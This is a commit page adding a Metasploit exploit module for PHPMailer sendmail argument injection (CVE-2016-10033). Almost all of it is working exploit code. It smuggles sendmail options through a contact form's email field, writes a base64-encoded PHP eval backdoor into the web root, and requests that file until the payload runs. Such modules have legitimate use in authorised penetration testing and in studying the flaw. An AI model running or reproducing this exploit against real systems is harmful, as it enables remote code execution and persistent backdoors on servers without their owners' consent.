Skip to content

Commit c9dd7a5

Browse files
committed
Add the PHPMailer Argument Injection exploit
1 parent 77dd952 commit c9dd7a5

File tree

1 file changed

+120
-0
lines changed

1 file changed

+120
-0
lines changed
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'PHPMailer Sendmail Argument Injection',
17+
'Description' => %q{
18+
PHPMailer versions up to and including 5.2.20 are affected by a
19+
vulnerability which can be leveraged by an attacker to write a file with
20+
partially controlled contents to an arbitrary location through injection
21+
of arguments that are passed to the sendmail binary. This module
22+
writes a payload to the web root of the webserver before then executing
23+
it with an HTTP request. The user running PHPMailer must have write
24+
access to the specified WEB_ROOT directory and successful exploitation
25+
can take a few minutes.
26+
},
27+
'Author' => [
28+
'Dawid Golunski', # vulnerability discovery and original PoC
29+
'Spencer McIntyre' # metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2016-10033'],
34+
['EDB', '40969'],
35+
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
36+
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
37+
],
38+
'DisclosureDate' => 'Dec 26 2016',
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP,
41+
'Payload' => {'DisableNops' => true},
42+
'Targets' => [['Automatic', {}]],
43+
'DefaultTarget' => 0
44+
))
45+
46+
register_options(
47+
[
48+
OptEnum.new('VERSION', [true, 'The version of PHPMailer', '<=5.2.18', ['<=5.2.18', '5.2.20']]),
49+
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
50+
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
51+
], self.class)
52+
register_advanced_options(
53+
[
54+
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
55+
], self.class)
56+
end
57+
58+
def trigger(trigger_uri)
59+
print_status('Sleeping before requesting the written file')
60+
61+
page_found = false
62+
sleep_time = 10
63+
wait_time = datastore['WAIT_TIMEOUT']
64+
print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
65+
while wait_time > 0
66+
sleep(sleep_time)
67+
wait_time -= sleep_time
68+
res = send_request_cgi(
69+
'method' => 'GET',
70+
'uri' => trigger_uri
71+
)
72+
73+
if res.nil?
74+
if page_found or session_created?
75+
print_good('Successfully triggered the payload')
76+
break
77+
end
78+
79+
next
80+
end
81+
82+
next unless res.code == 200
83+
84+
if res.body.length == 0 and not page_found
85+
print_good('Successfully found the payload')
86+
page_found = true
87+
end
88+
end
89+
end
90+
91+
def exploit
92+
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
93+
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
94+
95+
if datastore['VERSION'] == '<=5.2.18'
96+
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
97+
elsif datastore['VERSION'] == '5.2.20'
98+
email = "\\\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\\\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
99+
else
100+
fail_with(Failure::NoTarget, 'The specified version is not supported')
101+
end
102+
103+
data = Rex::MIME::Message.new
104+
data.add_part('submit', nil, nil, 'form-data; name="action"')
105+
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
106+
data.add_part(email, nil, nil, 'form-data; name="email"')
107+
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
108+
109+
print_status("Writing the backdoor to #{payload_file_path}")
110+
res = send_request_cgi(
111+
'method' => 'POST',
112+
'uri' => normalize_uri(target_uri),
113+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
114+
'data' => data.to_s
115+
)
116+
117+
register_files_for_cleanup(payload_file_path)
118+
trigger(normalize_uri(target_uri, payload_file_name))
119+
end
120+
end

0 commit comments

Comments
 (0)